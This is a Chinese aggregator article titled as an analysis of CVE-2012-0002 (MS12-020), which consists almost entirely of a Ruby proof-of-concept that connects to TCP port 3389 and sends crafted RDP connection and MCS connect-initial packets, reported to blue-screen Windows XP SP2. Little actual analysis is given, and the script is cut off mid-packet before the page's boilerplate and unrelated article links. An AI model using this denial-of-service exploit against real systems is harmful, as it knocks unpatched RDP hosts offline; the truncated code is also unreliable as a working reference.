【漏洞分析】CVE2012-0002漏洞分析过程详述

2023-10-17 07:40

本文主要是介绍【漏洞分析】CVE2012-0002漏洞分析过程详述,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

1、漏洞触发

发送攻击脚本后机器蓝屏效果如下:

测试环境:win xp professional sp2

 

 2、ruby脚本源码及分析

#!/usr/bin/env ruby

# ms12-020 PoC

# NOTE: 本测试脚本基于中国民间流传的ChineseShit而写,并且修正了数据包不符合协议的问题

# Author: Joshua J. Drake(jduck)

# From: BlackBap.Org

# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步

 

require 'socket'

 

def send_tpkt(sd, data)

 sd.write(make_tpkt(data))

end

 

def make_tpkt(data)

  [

   3,  # version

   0,  # reserved

    4+ data.length

 ].pack('CCn') + data

end

 

def make_x224(data)

  [data.length ].pack('C') + data

end

 

def make_rdp(type, flags, data)

  [type, flags, 4 + data.length ].pack('CCv') + data

end

 

 

host = ARGV.shift

 

sd = TCPSocket.new(host, 3389)

pkts1 = [""]

 

# craft connection request

rdp = make_rdp(1, 0, [ 0 ].pack('V'))

x224_1 = make_x224([

 0xe0,  # Connection request

 0,     # ??

 0,     # SRC-REF

 0      # Class : Class 0

].pack('CnnC') + rdp)

 

pkts1 << make_tpkt(x224_1)

 

 

# craft connect-initial

x224_2 = make_x224([

 0xf0,  # Data / Class 0

 0x80   # EOT: True / NR: 0

].pack('CC'))

 

# mcsCi

target_params = ""+

 #"\x02\x01\x00"+     #maxChannelIds

 "\x02\x04\x00\x00\x00\x22"+ # maxChannelIds

 "\x02\x04\x00\x00\x00\x0a"+ # maxUserIds

 "\x02\x04\x00\x00\x00\x00"+ # maxTokenIds

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

min_params = ""+

 "\x02\x04\x00\x00\x00\x01"+ # maxChannelIds      

 "\x02\x04\x00\x00\x00\x01"+ # maxUserIds         

 "\x02\x04\x00\x00\x00\x01"+ # maxTokenIds        

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities      

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput      

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight          

 "\x02\x02\x04\x20"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

max_params = ""+

 "\x02\x02\xff\xff"+         # maxChannelIds          

 "\x02\x02\xfc\x17"+         # maxUserIds             

 "\x02\x02\xff\xff"+         # maxTokenIds            

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities          

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput          

  "\x02\x04\x00\x00\x00\x01"+  # maxHeight              

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

 

userdata = ""+

  #gccCCrq

 "\x00\x05\x00\x14"+

 "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+

  #clientCoreData

 "\x01\xc0"+"\xd8\x00"+  # header (type, len)

   "\x04\x00"+"\x08\x00"+ # version

   "\x80\x02"+ # desktop width

   "\xe0\x01"+ # desktop height

   "\x01\xca"+ # color depth

   "\x03\xaa"+ # SASSequence

   "\x09\x04\x00\x00" + # keyboard layout

   "\xce\x0e\x00\x00" + # client build number

    #client name

   "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x04\x00\x00\x00"+ # keyboard type

   "\x00\x00\x00\x00"+ # kbd subType

   "\x0c\x00\x00\x00"+ # kbd FuncKey

    #imeFileName

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x01\xca"+ # postBeta2ColorDepth

   "\x01\x00"+ # clientProductId

   "\x00\x00\x00\x00" + # serialNumber

   "\x10\x00"+ # highColorDepth

   "\x07\x00"+ # supportedColorDepths

   "\x01\x00"+ # earlyCapabilityFlags

    #clientDigProductId -poc has: "00000-000-0000000-00000"

   "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00"+ # connectionType

    "\x00"+ # pad1octet

   "\x00\x00\x00\x00"+ # serverSelectedProtocol

   "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth

   "\x0d\x00\x00\x00"+ # desktopPhysicalHeight

   "\x00\x00\x00\x00"+ # reserved

  #clientSecurityData

 "\x02\xc0"+"\x0c\x00"+ # header (type, len)

这篇关于【漏洞分析】CVE2012-0002漏洞分析过程详述的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/223937

相关文章

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

SpringBoot 整合 Grizzly的过程

《SpringBoot整合Grizzly的过程》Grizzly是一个高性能的、异步的、非阻塞的HTTP服务器框架,它可以与SpringBoot一起提供比传统的Tomcat或Jet... 目录为什么选择 Grizzly?Spring Boot + Grizzly 整合的优势添加依赖自定义 Grizzly 作为

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

mysql-8.0.30压缩包版安装和配置MySQL环境过程

《mysql-8.0.30压缩包版安装和配置MySQL环境过程》该文章介绍了如何在Windows系统中下载、安装和配置MySQL数据库,包括下载地址、解压文件、创建和配置my.ini文件、设置环境变量... 目录压缩包安装配置下载配置环境变量下载和初始化总结压缩包安装配置下载下载地址:https://d

Redis主从复制的原理分析

《Redis主从复制的原理分析》Redis主从复制通过将数据镜像到多个从节点,实现高可用性和扩展性,主从复制包括初次全量同步和增量同步两个阶段,为优化复制性能,可以采用AOF持久化、调整复制超时时间、... 目录Redis主从复制的原理主从复制概述配置主从复制数据同步过程复制一致性与延迟故障转移机制监控与维

springboot整合gateway的详细过程

《springboot整合gateway的详细过程》本文介绍了如何配置和使用SpringCloudGateway构建一个API网关,通过实例代码介绍了springboot整合gateway的过程,需要... 目录1. 添加依赖2. 配置网关路由3. 启用Eureka客户端(可选)4. 创建主应用类5. 自定

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

最新版IDEA配置 Tomcat的详细过程

《最新版IDEA配置Tomcat的详细过程》本文介绍如何在IDEA中配置Tomcat服务器,并创建Web项目,首先检查Tomcat是否安装完成,然后在IDEA中创建Web项目并添加Web结构,接着,... 目录配置tomcat第一步,先给项目添加Web结构查看端口号配置tomcat    先检查自己的to

Redis主从复制实现原理分析

《Redis主从复制实现原理分析》Redis主从复制通过Sync和CommandPropagate阶段实现数据同步,2.8版本后引入Psync指令,根据复制偏移量进行全量或部分同步,优化了数据传输效率... 目录Redis主DodMIK从复制实现原理实现原理Psync: 2.8版本后总结Redis主从复制实

锐捷和腾达哪个好? 两个品牌路由器对比分析

《锐捷和腾达哪个好?两个品牌路由器对比分析》在选择路由器时,Tenda和锐捷都是备受关注的品牌,各自有独特的产品特点和市场定位,选择哪个品牌的路由器更合适,实际上取决于你的具体需求和使用场景,我们从... 在选购路由器时,锐捷和腾达都是市场上备受关注的品牌,但它们的定位和特点却有所不同。锐捷更偏向企业级和专